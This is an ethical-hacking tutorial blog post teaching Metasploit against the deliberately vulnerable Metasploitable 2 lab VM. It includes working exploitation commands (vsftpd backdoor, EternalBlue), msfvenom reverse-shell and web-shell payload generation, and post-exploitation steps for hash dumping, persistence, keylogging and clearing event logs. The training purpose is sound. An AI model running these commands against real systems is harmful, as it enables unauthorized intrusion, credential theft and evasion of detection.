By Jackson Godwin | TechTrain Academy | Cybersecurity Governance & VAPT Specialist📧 info@jacksontechnology.com
In the previous parts of this series, you learned how to find vulnerabilities through network scanning, reconnaissance, and web application testing. Now comes the phase that separates ethical hackers from security analysts: proving that those vulnerabilities are actually exploitable.
Finding a vulnerability is important. But showing a client EXACTLY what an attacker could do with it — what data they could access, what systems they could control, how far they could move through the network — is what makes a penetration test truly valuable. That is what exploitation proves.
Metasploit Framework is the world's most widely used penetration testing and exploitation platform. With thousands of pre-built exploit modules covering virtually every known vulnerability, a powerful payload system, and the legendary Meterpreter post-exploitation agent, Metasploit is the tool that lets you prove exploitability professionally and safely.
In this guide — Part 5 of the TechTrain Academy Practical Penetration Testing Series — I will teach you Metasploit from scratch, covering the framework architecture, essential commands, exploitation workflow, and post-exploitation with Meterpreter using a fully legal lab environment.
| ⚠️ CRITICAL LEGAL DISCLAIMER Metasploit is a powerful tool that can cause serious damage to systems if misused. ONLY use Metasploit against systems you own or have EXPLICIT WRITTEN AUTHORIZATION to test. Unauthorized exploitation is a serious criminal offense under Nigerian law (Cybercrimes Act 2015) and internationally. All exercises in this guide use Metasploitable 2 — a deliberately vulnerable VM designed for practice. Email jacksontechnology05@gmail.com if you have any questions about authorized testing. |
What is Metasploit Framework?
Metasploit Framework (MSF) is a free, open-source penetration testing platform developed by Rapid7. It provides:
- 2,000+ exploit modules covering vulnerabilities in operating systems, services, and applications
- Hundreds of payload options — from simple command execution to full interactive sessions
- Auxiliary modules for scanning, fuzzing, and information gathering
- Post-exploitation modules for privilege escalation, lateral movement, and data extraction
- Meterpreter — an advanced in-memory payload providing powerful post-exploitation capabilities
- A consistent, professional interface for managing the entire exploitation workflow
| Metasploit in Professional Penetration Testing. In professional VAPT engagements, Metasploit is primarily used to validate vulnerabilities found during earlier phases — to prove to clients that a vulnerability is genuinely exploitable, not just theoretically possible. The goal is never to cause damage but to demonstrate impact. A finding that states 'this vulnerability could allow remote code execution' is significantly more compelling when accompanied by a Meterpreter session screenshot that proves it actually works. |
Setting Up the Lab — Metasploit vs Metasploitable 2
For safe, legal practice, we use Metasploitable 2 — a deliberately vulnerable Linux virtual machine created by Rapid7 specifically for Metasploit training.
| 💻 Setting up the practice lab |
| 💻 Setting up the practice lab # Step 1: Download Metasploitable 2 # From: https://sourceforge.net/projects/metasploitable/ # Import into VirtualBox (same as Kali Linux setup) # Step 2: Configure networking # Set BOTH VMs to Host-Only Network in VirtualBox # This creates an isolated network between Kali and Metasploitable # Metasploitable MUST NOT be connected to the internet # Step 3: Find Metasploitable IP from Kali sudo nmap -sn 192.168.56.0/24 # Metasploitable will show up as a live host # Step 4: Verify Metasploitable is running # Default credentials: msfadmin / msfadmin # NEVER expose Metasploitable to the internet |
Launching and Navigating Metasploit
| 💻 Starting Metasploit Framework |
| # Start the Metasploit database (required for search) sudo service postgresql start # Launch Metasploit sudo msfconsole # You will see the MSF banner and prompt: msf6 > # Check database connection msf6 > db_status [*] Connected to msf. Connection type: postgresql # Get help msf6 > help |
Essential Metasploit Commands
| 💻 Core MSF commands every tester must know |
| # # Search for modules msf6 > search eternalblue msf6 > search type: exploit platform: windows smb # Select a module msf6 > use exploit/windows/smb/ms17_010_eternalblue # Show module information msf6 exploit(ms17_010_eternalblue) > info # Show required options msf6 exploit(ms17_010_eternalblue) > show options # Set options msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.101 msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.102 # Show available payloads msf6 exploit(ms17_010_eternalblue) > show payloads # Set payload msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # Run the exploit msf6 exploit(ms17_010_eternalblue) > run # Go back to the main menu msf6 exploit(ms17_010_eternalblue) > back |
Understanding Metasploit Module Types
Metasploit organizes its capabilities into different module types. Understanding each type is essential:
| [EXPLOIT] Exploit Modules |
| [EXPLOIT] Exploit Modules The core of Metasploit. Exploit modules take advantage of specific vulnerabilities in target systems to gain unauthorized access. Each module targets a specific vulnerability identified by its CVE number or common name. There are over 2,000 exploit modules covering Windows, Linux, macOS, web applications, network devices, and more. Example command: use exploit/unix/ftp/vsftpd_234_backdoor Used for: Gaining initial access to target systems by exploiting known vulnerabilities in services and applications. |
| [PAYLOAD] Payload Modules |
| Payloads are the code that runs on the target AFTER a successful exploit. They range from simple commands (cmd/unix/interact) to full-featured agents (Meterpreter). Payloads can be singles (self-contained), stagers (small initial code that downloads the rest), or stages (the actual payload downloaded by a stager). Example command: set payload linux/x86/meterpreter/reverse_tcp Used for: Defining what happens after exploitation — what capabilities you have on the compromised system. |
| [AUXILIARY] Auxiliary Modules |
| Auxiliary modules provide supporting capabilities that do not involve direct exploitation — port scanning, service enumeration, vulnerability checking, credential brute-forcing, denial of service testing, and much more. Over 1,000 auxiliary modules available. Example command: use auxiliary/scanner/smb/smb_version Used for: Information gathering, vulnerability scanning, and service enumeration during the reconnaissance and scanning phases. |
| [POST] Post-Exploitation Modules |
| Post-exploitation modules run AFTER you have a Meterpreter session on a target — helping you extract information, escalate privileges, move laterally through the network, and maintain persistence. They automate many common post-exploitation tasks. Example command: use post/multi/recon/local_exploit_suggester Used for: Deepening access after initial compromise — privilege escalation, credential harvesting, lateral movement, persistence. |
| [ENCODER] Encoder Modules |
| Encoders modify payloads to help them evade antivirus detection. They transform the payload bytes into a different form that achieves the same result but looks different to signature-based detection. Note: Modern AV bypasses require much more than encoding alone. Example command: use encoder/x86/shikata_ga_nai Used for: Attempting to evade basic antivirus detection during authorized red team engagements. |
Understanding Payloads — Singles, Stagers, and Stages
Choosing the right payload is critical. Here is what the different payload types mean:
| TYPE | DESCRIPTION | EXAMPLE |
| Singles | Self-contained — entire payload in one package. Larger but no need for network callback. | windows/shell_reverse_tcp |
| Stagers | Small initial code that establishes connection and downloads the stage. Smaller footprint. | windows/meterpreter/reverse_tcp |
| Stages | The actual payload downloaded by the stager. Full-featured Meterpreter agent. | Meterpreter (downloaded after stager connects) |
| Reverse TCP | Target connects BACK to attacker — bypasses most firewalls (outbound usually allowed). | windows/x64/meterpreter/reverse_tcp |
| Bind TCP | Attacker connects TO target — requires target port to be accessible from attacker. | windows/x64/meterpreter/bind_tcp |
Meterpreter — The Ultimate Post-Exploitation Agent
Meterpreter is Metasploit's most powerful payload. Once you have a Meterpreter session on a target, you have an interactive, encrypted channel into the system with powerful capabilities:
| 💻 Essential Meterpreter commands |
| # Once you have a Meterpreter session: meterpreter > sysinfo # System information meterpreter > getuid # Current user identity meterpreter > getpid # Current process ID meterpreter > ps # List running processes # File system navigation meterpreter > pwd # Current directory meterpreter > ls # List files meterpreter > cd /tmp # Change directory meterpreter > download file.txt # Download file from target meterpreter > upload tool.exe # Upload file to target # Network information meterpreter > ipconfig # Network interfaces meterpreter > route # Routing table meterpreter > netstat # Active connections # Privilege escalation meterpreter > getsystem # Attempt privilege escalation meterpreter > getuid # Verify new privileges # Credential harvesting meterpreter > hashdump # Dump password hashes (requires SYSTEM) # Pivoting meterpreter > run post/multi/manage/shell_to_meterpreter # Shell access meterpreter > shell # Drop to system shell # Background session meterpreter > background # Background this session msf6 > sessions -l # List all sessions msf6 > sessions -i 1 # Interact with session 1 |
Practical Exercise — Exploiting Metasploitable 2
Now let us perform a complete exploitation exercise against Metasploitable 2. We will exploit the vsftpd 2.3.4 backdoor — a famous vulnerability in an old version of the vsftpd FTP server:
| Before You Begin Ensure Metasploitable 2 is running in VirtualBox and Kali Linux can reach it (ping the Metasploitable IP). This is a completely legal exercise — Metasploitable 2 is designed to be compromised for training purposes. |
| 💻 Step 1 — Scan Metasploitable to find services |
| sudo nmap -sV 192.168.56.101 # Expected output includes: [*] 21/tcp open ftp vsftpd 2.3.4 [*] 22/tcp open ssh OpenSSH 4.7p1 [*] 80/tcp open http Apache httpd 2.2.8 [*] 3306/tcp open mysql MySQL 5.0.51a # Many more vulnerable services... |
| 💻 Step 2 — Search for vsftpd exploit in Metasploit |
| sudo msfconsole msf6 > search vsftpd # Output: # exploit/unix/ftp/vsftpd_234_backdoor # Rank: Excellent |
| 💻 Step 3 — Configure and run the exploit |
| msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(vsftpd_234_backdoor) > show options # RHOSTS: Remote target IP (required) msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf6 exploit(vsftpd_234_backdoor) > run [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.101:21 - USER: 331 Please specify the password. [+] 192.168.56.101:21 - Backdoor service has been spawned, handling... [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root) [*] Found shell. Command shell session 1 opened |
| 💻 Step 5 — Try a Meterpreter payload instead |
| msf6 > use exploit/multi/handler msf6 exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.56.102 msf6 exploit(handler) > set LPORT 4444 msf6 exploit(handler) > run -j # In another terminal, generate a payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f elf > shell.elf # Transfer and execute on target to get Meterpreter session |
msfvenom — Generating Custom Payloads
msfvenom is Metasploit's payload generator — used to create standalone executable payloads for different operating systems and formats:
| 💻 msfvenom payload generation examples |
| # Windows reverse Meterpreter executable msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f exe > payload.exe # Linux reverse shell ELF msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f elf > shell.elf # PHP web shell (for web servers) msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f raw > shell.php # Android APK payload msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -o payload.apk # PowerShell payload (Windows fileless) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f psh-reflection > payload.ps1 # List all available payloads msfvenom -l payloads |
Post-Exploitation — What Happens After You Get In
Getting initial access is just the beginning. In a real penetration test, post-exploitation demonstrates the true business impact of a compromise. Key post-exploitation activities include:
| 💻 Common post-exploitation commands |
| # Privilege escalation — become SYSTEM/root meterpreter > getsystem meterpreter > use post/multi/recon/local_exploit_suggester # Credential harvesting meterpreter > hashdump # Windows password hashes meterpreter > run post/windows/gather/credentials/credential_collector meterpreter > run post/multi/gather/ssh_creds # Lateral movement — pivot to other systems meterpreter > run post/multi/manage/autoroute meterpreter > run auxiliary/server/socks_proxy # Persistence — maintain access meterpreter > run post/windows/manage/persistence_exe # Screenshot — prove visual access meterpreter > screenshot # Keylogger — capture keystrokes meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop # Clean up — remove traces meterpreter > clearev # Clear Windows event |
Metasploit Cheat Sheet — Quick Reference
| COMMAND | WHAT IT DOES |
| search [keyword] | Search for modules by keyword |
| use [module path] | Select a module to use |
| info | Show detailed module information |
| show options | Show required and optional settings |
| set [OPTION] [value] | Set an option value |
| setg [OPTION] [value] | Set a global option (persists across modules) |
| show payloads | List compatible payloads for current module |
| show targets | List target operating systems for exploit |
| check | Check if target is vulnerable (if supported) |
| run / exploit | Execute the module |
| sessions -l | List all active sessions |
| sessions -i [id] | Interact with a session |
| sessions -k [id] | Kill a session |
| jobs -l | List background jobs |
| db_nmap [options] [target] | Run Nmap and import results to database |
| hosts | List hosts in database |
| services | List services in database |
| vulns | List vulnerabilities in database |
| Jackson Godwin's Metasploit Advice When I first started with Metasploit, I made the mistake of jumping straight to exploitation without understanding the module I was using. Always run 'info' on a module before using it — understand what vulnerability it exploits, what it does to the target, and what the reliability rating means. In professional penetration testing, you document EVERYTHING. Every module used, every option set, every command run, and every result obtained. The exploitation phase of a penetration test is only as valuable as the documentation that proves what you did and what you found. Questions? Email: info@jacksontechnology.com.ng |
Conclusion — Exploitation Proves Impact
Metasploit transforms identified vulnerabilities from theoretical risks into demonstrated impacts. When you show a Nigerian bank or government agency a Meterpreter session proving that an attacker could have accessed their systems — that conversation changes. Security becomes a priority, not a checkbox.
Practice every module in this guide against Metasploitable 2 until you can run a complete exploitation workflow from scratch without referring to notes. Understand what each command does and why. Document everything as if you are writing a professional penetration testing report.
In Part 6 of this series, we cover Password Attacks — one of the most common and effective attack vectors in real penetration testing engagements. From wordlist attacks to hash cracking to credential stuffing, password security is critical for every Nigerian organization.
Questions about Metasploit? Email Jackson Godwin directly at jacksontechnology05@gmail.com. He personally responds to all student questions.
| Master Metasploit in a Professional Lab Environment. TechTrain Academy's Ethical Hacking & VAPT program covers Metasploit and full exploitation methodology in safe, legal lab environments. Learn with real vulnerable machines using the same techniques used in professional penetration testing engagements across Nigeria. Enroll Now | Email info@jacksontechnology.com.ng | Visit TechTrain Academy |